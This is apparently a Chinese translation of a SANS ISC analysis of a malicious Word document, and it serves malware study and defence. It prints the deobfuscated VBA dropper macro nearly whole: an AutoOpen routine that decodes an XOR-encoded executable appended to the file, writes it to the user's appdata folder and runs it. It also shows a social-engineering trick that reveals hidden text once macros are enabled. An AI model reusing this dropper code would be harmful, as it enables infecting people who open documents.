一周前,SANS ISC管理和自由安全顾问Xavier Mertens先生分析了一篇恶意word文档,下面是他对此给出的分析报告。
事件背景介绍
上星期,我忙于研究某个安全事件里出现的一份有趣的恶意word文档。在当今社会中,存在着恶意宏的OLE文档并不新鲜,我每天都会在电子邮箱里收到不少这样的玩意儿。在他们发现更好的办法攻陷终端用户的电脑之前,这样的攻击都会一直持续下去。通常恶意宏需要用社工手段欺骗用户来执行,然后通过对象MSXML2.ServerXMLHTTP下载一个新的payload。
BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P" Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ) Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw
其实这个事件的好坏,决定于你的所在的立场。这样的样本文件,其实有助于我们研究人员收集IOC的IP地址、URL、域名、以及文件名。当然,解密混淆的恶意宏和收集IOC是非常容易的。
在我研究的那个恶意事件中,word文档里的恶意宏并没有产生任何网络流量,payload从开始就被放置在word文档的结尾。该文档是在2015年9月生成的,在三天前VT得分只有2/43,我是第一个提交它的人。而该word文档的内容格式非常严整,其中含有能勾引受害人上当的内容。这里不得不提下,我使用了Didier Stevens的工具箱分析了这个恶意文档。
恶意文件分析报告
该文档由用户Helmut在2015年9月3日创建,里面包含了两个宏:
$ oledump.py malicious.doc 1: 121 '/x01CompObj' 2: 4096 '/x05DocumentSummaryInformation' 3: 4096 '/x05SummaryInformation' 4: 23860 '1Table' 5: 781575 'Data' 6: 486 'Macros/PROJECT' 7: 71 'Macros/PROJECTwm' 8: m 940 'Macros/VBA/ThisDocument' 9: 3256 'Macros/VBA/_VBA_PROJECT' 10: 569 'Macros/VBA/dir' 11: M 6052 'Macros/VBA/islamabad' 12: 257675 'WordDocument'
其中一个有趣的宏在上面的第11行代码,也就是名为islamabad(伊斯兰堡,巴基斯坦的首都)的地方。这是一个经典的混淆过的宏,可以通过下面这条命令提取:
$ oledump.py -s 11 -v malicious.doc
注意:我在宏代码里做了些修改,并对混淆过的代码进行解密,以便读者更好得阅读。
这个恶意payload(PE文件),与附加的数据(payload大小和校验和)一起放置在word文档末尾,我们一起来看看代码:
Attribute VB_Name = "islamabad" Public var_Filename1 As String Public var_Path1 As String
第一个函数提取了附加数据流的校验和:
Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte For I = 0 To var_Len - 1 func_Checksum = func_Checksum Xor var_Data(I) Next I End Function
下面的函数,会把二进制数据流进行XOR,然后在下一个函数中将其解密:
Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean Dim var_IV1 As Byte var_IV1 = 11 For I = 0 To var_Len - 1 var_Data(I) = var_Data(I) Xor var_IV1 var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256)) Next I func_DecodeBinary = True End Function
这个 VBA函数 改变了文档的布局,但我不太明白是啥原因:
Function func_FormatDocument() As Boolean ActiveDocument.GrammarChecked = False ActiveDocument.SpellingChecked = False ActiveDocument.Select Selection.Font.ColorIndex = wdBlack Selection.Font.Underline = wdUnderlineNone Selection.HomeKey For Each sec In ActiveDocument.Sections For Each head In sec.Headers head.Range.Delete Next Next ViewDocument = True End Function Sub AutoClose() ActiveDocument.Save End Sub
在文档打开时,主要的宏会自动执行:
Sub AutoOpen() On Error GoTo ErrorCondition1 Dim var_Dummy1 As Boolean var_Dummy1 = func_FormatDocument() Dim fh_File1 Dim var_Filesize As Long Dim var_BinarySize As Long Dim var_Checksum As Byte
我们来获取文件大小,打开它并提取校验和(EOF -4),以及二进制数据流大小(EOF -3):
var_Filesize = FileLen(ActiveDocument.FullName) fh_File1 = FreeFile Open (ActiveDocument.FullName) For Binary As #fh_File1 Get #fh_File1, (var_Filesize - 4), var_Checksum Get #fh_File1, (var_Filesize - 3), var_BinarySize If var_BinarySize < 8 Then GoTo ErrorCondition1 End If If (var_BinarySize + 4) > var_Filesize Then GoTo ErrorCondition1 End If
下面的脚本计算了数据流的起始位置,并预估出一个合适大小的字节数组:
Dim var_Offset As Long var_Offset = var_Filesize - (var_BinarySize + 4) Dim var_BinaryData1() As Byte ReDim var_BinaryData1(var_BinarySize - 1)
接着,提取出了二进制的恶意文件,然后解密:
Get #fh_File1, var_Offset, var_BinaryData1 Close #fh_File1 If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then GoTo ErrorCondition1 End If
对比校验和:
Dim var_Dummy2 As Byte var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize) If var_Checksum <> var_Dummy2 Then GoTo ErrorCondition1 End If
释放出的payload,其默认路径被混淆了(真实值为appdata/Microsoft/Word):
var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)
Scripting.FileSystemObject对象也被混淆了:
Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))
当然,为了防止默认路径不存在(非本例),脚本会使用另一个备用的路径(appdata)。
If Not var_Object1.FolderExists(var_Path1) Then var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) End If Set var_Object1 = Nothing Dim fh_File2 fh_File2 = FreeFile
释放出的payload文件名也被混淆了(真实名为:wfletxavb.exe):
注意:我不知道这里的文件名,为啥不是常见的动态随机生成的。那样其实可以避免文件系统对于恶意二进制流的检测。
var_Filename1 = var_Path1 & "/" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101) Open (var_Filename1) For Binary As #fh_File2 Put #fh_File2, 1, var_BinaryData1 Close #fh_File2 Erase var_BinaryData1
现在我们要执行啦:
Set var_Object2 = CreateObject("WScript.Shell") var_Object2.Exec var_Filename1 Exit Sub ErrorCondition1: Close #fh_File1 Close #fh_File2 ActiveDocument.Save End Sub
通过逆向宏,我们可以猜测二进制流的起始位置,然后通过Didier的cut-bytes.py脚本工具进行提取。我们需要跳过文档的末尾字节,包括payload大小和校验和。
注意:Didier在他的工具里加了一个新的特性,这可以帮助我们提取数据:那就是可以指定忽略文件末尾的字节(详见下面的“-5”处的指令代码):
$ cut-bytes.py "<position>:-5" malicious.doc >binary.data $ file binary.data binary.data: data
宏里的解码函数,我们可以借用它来为translate.py脚本工具写一个专用解码器:
def FileDecode(input): output = '' code = 11 for iIter in range(len(input)): output += chr(ord(input[iIter]) ^ code) code = (code ^ 13) ^ (iIter % 256) return output
最后,我们可以解码二进制流,获得一个PE文件:
$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode $ file binary.exe binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
我并没有把这个PE样本文件报送到VirusTotal,但它很明显是一个恶意文件。
该文件由OLE文档、PE文件、校验和、PE文件长度构成,黑客借助它能快速生成一个新的加密PE文件,然后加进相同的word文档里。我很抱歉在这里不能分享样本,因为这次的分析研究还没有结束。
事件后记
上文中提到的Didier Steven先生,对本文做了一个后续补充。他表示在上文的分析中,Xavier提到了一个未知的VBA函数,他称之为func_FormatDocument。这个函数会改变文档的布局,在这里Didier分析了该函数的功能。
这个函数其实是社工技巧的一部分,在正常情况下,Microsoft Office宏在email附件里是默认禁用了的。如果黑客欺骗不了用户启用宏,本次攻击就会失败。
所以呢,黑客会用一个老掉牙的小手段,欺骗用户启用宏。其实就是设法让用户相信,文档里包含机密或者秘密的信息,然后用户自己需要启用宏才能查看。该word文档可能会包含隐藏、编码、加密的内容,用户需要去做点什么来揭开它神秘的面纱。这段VBA函数func_FormatDocument,就是这样一个复杂社工技巧的一部分。这个函数在用户选择启用宏后,会将字体颜色从白色到黑色,从而“解密”隐藏的内容,并去除让用户查看“真实内容”的指令提示。黑客就用这种弱智的手法欺骗用户,通过偷梁换柱的法子,启用了VBA宏并执行了恶意payload。
下面是视频,我相信大家看了视频,会比在这儿看我喷半天口水效果要好得多:
*参考来源: ISC 、 ISC2 、 NS ,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)